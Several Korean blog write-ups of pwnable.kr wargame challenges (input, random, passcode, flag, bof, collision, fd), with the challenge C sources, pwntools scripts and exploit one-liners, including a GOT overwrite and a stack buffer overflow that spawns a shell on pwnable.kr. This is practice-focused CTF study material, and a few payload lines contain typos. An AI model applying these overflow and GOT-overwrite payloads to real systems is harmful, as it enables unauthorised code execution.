엄마~!~!어떻게 하면 프로그램에 내 입력이 통과할 수 있는거야? 라고 물어본다. 살짝 리버싱문제 같은 느낌도 든다. 일단 접속해보자.



input파일을 실행해 보자.



인자를 직접 전달해 줘야 하는 것 같다. input.c파일을 읽어보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");
 
    // argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
    
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    // file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    
 
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");    
    return 0;
}
 
cs


이렇게 꽤 긴 코드가 있다.

처음부터 차례대로 분석해보자.


1
2
3
4
5
// argv
    if(argc != 100return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    
cs


1단계는 argv에 관한 코드이다. 


argc와 argv는 main함수의 인수인데 argc에는 인자의 개수가 저장되고 argv에는 인자가 각각 들어있다.

그리고 여기서 argv의 첫 번째 배열에는 실행 명령어가 들어가있다.


예를들어서 ./input a b와 같이 인자를 전달해준다면

argc에는 3이 들어가고 argv[0]에 ./input, argv[1]에 a, argv[2]에 b가 들어가게 되는 것이다.


이제 저 코드를 해석해보면 인자의 개수를 100개로 하고 argv['A'] 즉 argv[65]에는 \x00이 들어가고 argv['B'] 즉 argv[66]에는 \x20\x0a\x0d가 들어가게 하면 되는것이다.


이제 2단계를 확인해보자.


1
2
3
4
5
6
7
// stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
    if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
cs


2단계는 파일 디스크립터 관련된 문제이다.

0 : 표준입력

1 : 표준출력

2 : 표준에러

이것만 이용하면 바로 풀 수 있을 것이다.

read(0, buf, 4)는 표준 입력의 4바이트를 읽어와서 \x00\x0a\x00\xff와 비교하고

read(2, buf, 4)는 표준 에러의 4바이트를 읽어와서 \x00\x0a\x02\xff와 비교한다.


여기서 표준 입력은 그냥 \x00\x0a\x00\xff를 넣어주면 되는데 표준에러에 어떻게 넣어야 할까에 대해서 고민을 좀 했다.

그냥 간단하게 어떤 파일을 하나 열어서 거기에 \x00\x0a\x02\xff를 넣고 표준에러의 fd값을 저 파일로 바꿔주면 될 것 같아서 해보니까 성공했다~!



쓰기 권한이 있는 /tmp에 가서 test파일을 만들고 실행시켜보았다.



2단계까지의 페이로드는 다음과 같다.


from pwn import *


context.log_level = 'debug'


k = open("ryu", "w")

k.write("\x00\x0a\x02\xff")

#ryu라는 파일을 열어서 해당 값을 입력해준다.


k = open("ryu", "r")


argv = [str(i) for i in range(100)]

argv[ord('A')] = '\x00'

argv[ord('B')] = '\x20\x0a\x0d'

#전달할 인자를 생성해준다.


p = process(argv, stderr=k, executable='/home/input2/input')


p.recv(1000)


p.send('\x00\x0a\x00\xff')

#표준입력으로 값을 전달해준다.

p.recv(1000)



이제 3단계를 확인해보자.


1
2
3
 // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
cs


getenv함수는 해당 환경변수의 값을 가져오는 함수니까 "\xde\xad\xbe\ef"라는 이름의 환경변수 값이 "\xca\xfe\xba\xbe"이면 된다.


간단하게


e = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\be'}


라는 코드를 추가하고 환경변수로 e를 넣어주면 된다.




성공이다~!~!


이제 4단계를 확인해보자.


1
2
3
4
5
6
7
// file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");  
cs


\x0a라는 파일을 열어서 처음 4바이트가 \x00\x00\x00\x00이면 성공이다.

이번 단계도 간단하게 파일을 열어서 저 데이터를 넣어주기만 하면 된다.

l = open("\x0a", "w")

l.write("\x00\x00\x00\x00")

l.close()



성공이다~!~!


이제 마지막 단계를 확인해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
cs


argv['C']에 있는 값을 포트번호로 소켓을 생성하고 listen하고 있다가 데이터가 들어오면 그 데이터를 buf에 저장하고 \xde\xad\xbe\xef와 비교하는 코드이다.


이번단계를 해결하려면 argv['C']에 포트번호를 넣어놓고 remote를 통해 lacalhost를 호출하고 데이터를 전달해주면 될 것 같다.


from pwn import *


context.log_level = 'debug'


k = open("ryu", "w")

k.write('\x00\x0a\x02\xff')

#ryu라는 파일을 열어서 해당 값을 입력해준다.


l = open("\x0a", "w")

l.write("\x00\x00\x00\x00")

l.close()

#4단계 파일에 값을 넣어준다.


k = open("ryu", "r")


argv = [str(i) for i in range(100)]

argv[ord('A')] = '\x00'

argv[ord('B')] = '\x20\x0a\x0d'

argv[ord('C')] = '1010'

#전달할 인자를 생성해준다.


e = {'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe'}

#환경변수를 만들어준다.


p = process(argv, stderr=k, env=e, executable='/home/input2/input')


p.recv(1000)


p.send('\x00\x0a\x00\xff')

#표준입력으로 값을 전달해준다.

p.recv(1000)


sleep(3)

#소켓 열리는 시간도 생각해준다.


m = remote('lacalhost', 1010)

m.send('\xde\xad\xbe\xef')


p.recv(1000)

p.recv(1000)




성공은 했는데 나오지가 플래그가 뜨지 않았다ㅠㅠ

이 파일이 실행될 때의 경로가 /tmp안이니까 플래그 파일이 해당경로 안에 없어서 그런 것이였다.

중간에 파일을 만들기도 해야하니까 옮기는건 힘들고 심볼릭 링크를 걸어줬다.



이런식으로 해주면



플래그가 나온 것을 확인할 수 있다~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12


아빠!! 랜덤값을 프로그래미엥 넣는 법을 알려주세요~!~!~! 라는 문제이다. 음... 아마 랜덥값을 조정하거나 예측하여서 특정 조건을 만족하게 하면 플래그가 읽히게 되는 문제일 것 같은 생각이 든다. 일단 xshell을 통해 접속해보자.



random파일을 실행해보면



2^32번의 케이스를 시도해보라고 나온다. 예상했던대로 지정된 랜덤값을 맞추는 문제같다!!


소스파일을 한번 확인해보자.



입력한 key값이랑 random값을 xor했을때 0xdeadbeef가 되면 cat flag가 실행되는 매우매우 간단한 코드이다. 

그리고 이 소스코드 내에서의 rand()는 따로 시드도 설정되지 않았고 srand()와 다르게 고정된 난수값이므로 충분히 알아 낼 수 있다!!


gdb를 이용해서 확인해보자!



rand함수가 호출되고 난 뒤인 main + 18부분에 brake point를 걸고 메모리를 확인해보자.

함수가 끝나고 결과값은 rax에  저장되니까 rax를 확인해보면 될 것이다.



random값은 0x6b8b4567인 것을 알 수 있었으니까 이제 0xdeadbeef와 xor을 시켜보자.



이제 3039230856을 집어넣어보자!



플래그가 나왔다!!!!!~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04


엄마가 나한테 passcode기반의 로그인 시스템을 만들라고 말했다!! 난 처음으로 어떤 에러도 없이 C코드로 컴파일 했다!! 음...근데 컴파일러가 몇가지 경고를 했긴 했는데... 누가 신경쓰겠어~~ 라는 문제이다.


문제만 봐서는 어떤 형식의 문제인지 잘 모르겠고 일단 xshell을 통해서 접속해봤다.


어떤 파일들이 있는지 확인해보자.


passcode를 실행시켜 보았다.


이름을 입력받고 passcode를 입력해서 로그인을 하는 코드인 듯 보인다. 이제 c코드를 한번 살펴보자.



passcode1이 338150이고 passcode2가 13371337만 만족하면 바로 flag를 읽을 수 있다.



main함수는 welcome으로 이름을 입력받고 login을 통해 패스워드를 입력받는다. 그냥 너무 쉽다고 생각해서 바로 passcode를 입력받는 부분에 338150을 집어넣으니까 새그가 떴다.



왜 새그가 떴는지 모르겠어서 다시 코드를 자세히 보니까 scanf에 &가 빠져있는 것을 확인할 수 있다.



그러니까 저 코드는 passcode1이라는 변수에 값을 저장하는 코드가 아니라!!

passcode1이라는 변수 안에 있는 값의 주소에 입력값을 넣는 코드인 것이다!!


이게 무슨말이냐면 만약 passcode1에 0xdeadbeef가 들어있다고 가정해보자. 

만약 scanf("%d", &passcode1); 이라는 코드가 실행된다면 passcode1의 값이 0xdeadbeef에서 입력값으로 업데이트 될 것이다.

하지만 scanf("%d", passcode1); 이 실행된다면 여기서 입력한 값이 0xdeadbeef에 저장되는 것이다.


여기서 문제의 의도를 알 수 있다. passcode에 내가 원하는 주소의 값을 넣어놓는다면 passcode1과 passcode2의 값을 조정할 수 있을 것이다.

그렇기는 한데... 좀더 간단하게 문제를 해결할 수 있었다.


scanf로 passcode1에 입력받은 후에 버퍼를 비우는 fflush(stdin);이 실행된다. 만약 이 fflush함수의 got를 system("/bin/cat flag");의 시작주소로 변경한다면 바로 플래그를 읽을 수 있을 것이다. 어떻게하면 쉽게 주소를 변경할 수 있을까? gdb를 통해 좀더 자세히 보자.



일단 welcome코드를 보면 ebp-0x70부분이 name배열의 시작부분인 것을 알 수 있다.



그리고 passcode1은 ebp-0x10부분에 위치하는 것을 알 수 있다.


생각해보자... passcode1과 name배열의 시작부분의 차이는 0x60이다. 즉 96이므로 name[96]~name[99]부분이 겹친다는 것을 알 수 있다. 

이제 전체적인 흐름을 파악했으니까 페이로드를 짜보자.


1. 처음 welcome함수가 실행될때 마지막 4바이트를 fflush함수의 got값으로 집어넣는다.


2. scanf("%d", passcode1);에서 system("/bin/sh flag");의 시작주소를 넣어 fflush함수의 got값을 변경한다.


이렇게 두단계만 거치면 flag를 읽을 수 있다!!!!

이제 fflush의 got주소와 system의 시작주소만 알아내면 된다.



fflush의 got주소 ==> 0x804a004



system코드가 실행되는 시작주소 ==> 0x080485e3


원하는 값들을 모두 얻었다!!


(python -c 'print "\x90"*96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode


여기서 scanf는 10진수로 값을 입력받으니까 0x080485e3을 10진수로 바꾸어서 넣어줬다. 이렇게 해주면



성공~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29


아빠가 포장이 된 선물을 주었다!! 열어보자~!~! 라는 문제이다.

리버싱 문제인 듯 하고 packed이런거 썼으니까 아마 패킹이 된 실행파일을 언패킹해서 푸는 문제인 것 같다.

일단 저 링크에 들어가서 파일을 다운받아 보자.


flag


플래그 파일이 있고 아까 패킹된 파일이라고 예상했으니까 일단 hxd로 헥스값을 확인해 봤다.


역시!! UPX로 패킹되어 있는 것을 확인 할 수 있다! 이제 언패킹부터 해보자.



이제 언패킹도 했고 실행을 시켜보았다.



실행시키면 이러한 문자열이 나온다. malloc을 실행시키고 strcpy함수를 통해 플래그를 복사한다고 한다. 이제 아이다를 통해서 해당 파일을 열어보자.

메인함수에 가보니까


dest에 flag를 복사하니까 주소를 잘 뒤지다 보면 flag가 노출이 되어 있을 테니까 플래그가 있는 위치고 이동해봤다.



오.. 무슨 플래그가 대놓고 나와있는 것을 확인할 수 있다~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29
[pwnable.kr] fd  (0) 2018.12.27


할머니께서 버퍼오버플로우는 가장 쉬운 소프트웨어 취약점이라고 하셨다!! 이게 정말인가요~?~? 라는 문제다.

이전 문제들과 달리 nc로 접속하는 문제니까 우분투를 통해서 접속을 해보았다.


그냥 이러고 끝나버린다. bof공격을 해서 쉘을 따도록 하는 문제인 것 같다. 일단 문제에서 소스파일이랑 실행파일을 다운하라고 했으니까 다운로드 받아보자~!~!


bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

해당 파일과 소스코드이다.


코드는 매우 간단하다. func에서 key를 인자로 받고 함수 안에서 overflowme라는 크기가 32인 배열을 만든다. 그 후 gets함수를 통해 overflowme에 문자열을 입력받는다. 그 후 만약 key가 0xcafebabe와 같다면 /bin/sh를 시스템함수를 사용해서 실행시킨다. 


공격 시나리오는 매우 간단하다. gets함수는 매우 잘 알려있듯이 bof취약점이 존재하는 함수이고 이를 통해 key값을 변조하면 된다.

더미값을 알아내기 위해 아이다를 통해 확인해봤다.


배열의 시작주소는 ebp-2c이고 key값이 존재하는 곳은 ebp+8인 것을 알 수 있다. 즉 0x2c + 0x8 = 52이므로 52만큼 덮으면 key값을 변조할 수 있다. 이제 페이로드를 짜보자.


(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000



간단하게 성공~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] collision  (2) 2018.12.29
[pwnable.kr] fd  (0) 2018.12.27


아빠가 오늘 멋진 MD5 해쉬 collision을 이야기 해줬다! 나도 그거 비슷한 거를 해보고 싶다!!


원격접속 툴은 Xshell을 이용했고 사용자이름에 col 패스워드에 guest를 입력하고 접속하여 어떤 파일들이 있는지 먼저 살펴보았다.



역시 col에는 setuid가 걸려있었고 flag를 읽기위해서는 col을 실행시켜야 된다는 것을 확인할 수 있었다. 이제 col의 소스파일을 확인해보자~



음 hashcode가 0x21DD09EC이고 이 hashcode와 check_password함수에 첫번째 인자를 넣어서 리턴된 값이 같으면 system함수로 /bin/cat flag를 실행시켜준다. 여기서 check_password의 역할은 전달된 인자를 4바이트씩 잘라서 res에 더한다음 res를 리턴해주는 함수이다.


그래서 처음에는 아무생각 없이 


이렇게 넣었더니 패스코드가 20바이트는 돼야 한다고 한다. 위를 다시보니까 전달받은 인자가 20바이트가 아니면 저 문자열이 출력되고 0을 리턴하는 것을 볼 수 있었다. 대충 보고 하지좀 말아야 할텐데.... 그러면 저 0x21DD09EC를 5로 나눠서 다섯번 집어넣어주도록 하면 될 것 같다~



파이썬 켜서 계산해주고



또 안됨...뭐지..?



아....나머지가 있었다... 멍청이... 그럼 0x06c5cec8을 4개 넣고 여기에 4를 더한 0x06c5cecc를 넣어주면 될 것 같다.



성공~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] fd  (0) 2018.12.27


엄마~!~! 리눅스의 파일 디스크립터가 뭐야?? 라는 힌트를 준다.

pwnable.kr의 2222번 포트에 원격접속을 한다. 원격접속툴은 Xshell을 사용했다.



위와 같이 설정을 하고 사용자 이름에 fd, 패스워드에 guest를 입력하고 접속한다.



접속 성공!



어떤 파일이 있는지 확인해 보니까 fd와 소스파일 fd.c 그리고 flag파일이 있다. 여기서 fd파일의 권한이 -r-sr-x---로 실행권한이 x가 아닌 s로 setuid가 걸려있는 것을 확인 할 수 있었다~ setuid가 걸려있으면 실행될 때 파일 소유자의 권한을 갖게 된다. 즉! fd파일을 실행할 동안에는 root랑 fd_pwn만 읽을 수 있는 flag파일을 읽을 수 있다는 것이다! 이제 fd.c을 한번 확인해보자!



소스코드도 간단하다.


첫번째로 받은 인자 - 0x1234를 fd에 저장한 다음에 read(fd, buf, 32)라는 함수를 실행시켜준다. 그리고 만약 buf가 LETMEWIN이라면 system함수로 바로  /bin/cat flag를 실행시켜 주는 것을 확인할 수 있다.


read함수의 fd부분을 0 으로 바꿔주면 표준입력이 되므로 첫번째 인자로 0x1234를 넣어주고 프로그램이 실행된 후 LETMEWIN을 입력해주면 될 듯 하다.



0x1234는 10진수로 4660이니까



이렇게 써주면 플래그가 나온다~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29

+ Recent posts